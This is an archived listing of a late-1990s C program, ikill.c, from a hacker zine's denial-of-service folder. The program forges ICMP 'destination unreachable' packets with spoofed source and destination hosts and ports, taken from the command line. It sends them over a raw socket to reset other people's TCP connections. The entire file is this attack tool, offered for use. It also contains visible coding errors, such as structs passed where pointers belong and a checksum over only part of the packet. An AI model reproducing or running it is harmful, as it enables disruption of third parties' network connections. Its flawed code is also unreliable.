home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / ikill.c < prev    next >
C/C++ Source or Header  |  1998-12-09  |  2KB  |  86 lines

  1. #include <sys/types.h>
  2. #include <stdio.h>
  3. #include <sys/socket.h>
  4. #include <netinet/in.h>
  5. #include <netdb.h>
  6.  
  7. struct icmp_packet{
  8.         char itype;
  9.         char code;
  10.         unsigned short checksum;
  11.         long unused;
  12.         char header1;
  13.         char tos;
  14.         unsigned short length;
  15.         unsigned short ident;
  16.         char flags;
  17.         char fragment;
  18.         char ttl;
  19.         char protocol;
  20.         unsigned short chksum2;
  21.         long source;
  22.         long dest;
  23.         unsigned short sport;
  24.         unsigned short dport;
  25.         long junk;
  26. };
  27. unsigned short sum(array)
  28.         unsigned short *array;
  29. {
  30.         int count;
  31.         unsigned short total;
  32.  
  33.         total = 0;
  34.  
  35.         for (count=0; count<8; count++) {
  36.                 total += ~(*array);
  37.                 array++;
  38.         };
  39.  
  40.         return(~total);
  41. }
  42. void main(argc, argv)
  43.         int argc;
  44.         char *argv[];
  45. {
  46.         struct hostent *host;
  47.     struct sockaddr_in addr;
  48.     struct sockaddr difaddr;
  49.         int s;
  50.         struct icmp_packet packet;
  51.         packet.itype = 3;
  52.         packet.code = 1;
  53.         packet.checksum = 0;
  54.         packet.unused = 0;
  55.         packet.header1 = 4*16+5;
  56.         packet.tos = 0;
  57.         packet.length = 28;
  58.         packet.ident = 111;
  59.         packet.flags = 0;
  60.         packet.fragment = 0;
  61.         packet.ttl = 123;
  62.         packet.protocol = 6;
  63.         packet.chksum2 = 0;
  64.         packet.junk = 0;
  65.         host = gethostbyname(argv[3]);
  66.         bcopy(host->h_addr,(char *)&packet.dest,host->h_length);
  67.         host = gethostbyname(argv[1]);
  68.         bcopy(host->h_addr,(char *)&packet.source,host->h_length);
  69.         packet.sport = htons(atoi(argv[2]));
  70.         packet.dport = htons(atoi(argv[4]));
  71.         packet.checksum = sum( (unsigned short *)&packet);
  72.         /* Finished creating socket; now we send it out */
  73.  
  74.         s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
  75.  
  76.         bzero(&addr, sizeof(struct sockaddr_in));
  77.         addr.sin_family = host->h_addrtype;
  78.         addr.sin_port = packet.dport;
  79.     bcopy(host->h_addr,(char *)&addr.sin_addr,host->h_length);
  80.     memcpy((void *)difaddr, (void *)addr, sizeof(struct sockaddr));
  81.     sendto(s, &packet, sizeof(packet), 0, difaddr, sizeof(addr));
  82.  
  83.         return;
  84.  
  85. }
  86.